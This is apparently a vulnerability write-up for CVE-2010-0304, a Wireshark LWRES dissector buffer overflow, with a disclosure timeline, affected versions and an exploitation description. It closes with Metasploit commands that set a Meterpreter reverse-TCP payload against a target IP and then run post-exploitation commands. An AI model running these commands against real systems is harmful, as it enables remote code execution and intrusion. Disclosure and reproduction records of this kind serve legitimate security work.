Timeline :

Vulnerability reported to the vendor by babi
Coordinated vulnerability disclosure the 2010-01-27
Version 1.2.6 released the 2010-01-27
Exploit-DB PoC provided by babi the 2010-01-29
Metasploit PoC provided the 2010-02-01

    PoC provided by :

babi
jduck
redsand

    Reference(s) :

CVE-2010-0304
EDB-ID-11288
wnpa-sec-2010-02

    Affected version(s) :

0.9.15 to 1.0.10, 1.2.0 to 1.2.5 included

    Tested on Windows XP SP3 with :

    wireshark/tshark 1.2.5

    Description :

The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer overflow. This bug found and reported by babi. This particular exploit targets the dissect_getaddrsbyname_request function. Several other functions also contain potentially exploitable stack-based buffer overflows. The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents exploitation via the return address on the stack. Sending a larger string allows exploitation using the SEH bypass method. However, this packet will usually get fragmented, which may cause additional complications. NOTE: The vulnerable code is reached only when the packet dissection is rendered. If the packet is fragmented, all fragments must be captured and reassembled to exploit this issue.

    Commands :

use exploit/multi/misc/wireshark_lwres_getad­drbyname
set RHOST 192.168.178.41
set TARGET 4
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

sessions -i 1
sysinfo
getuid
ipconfig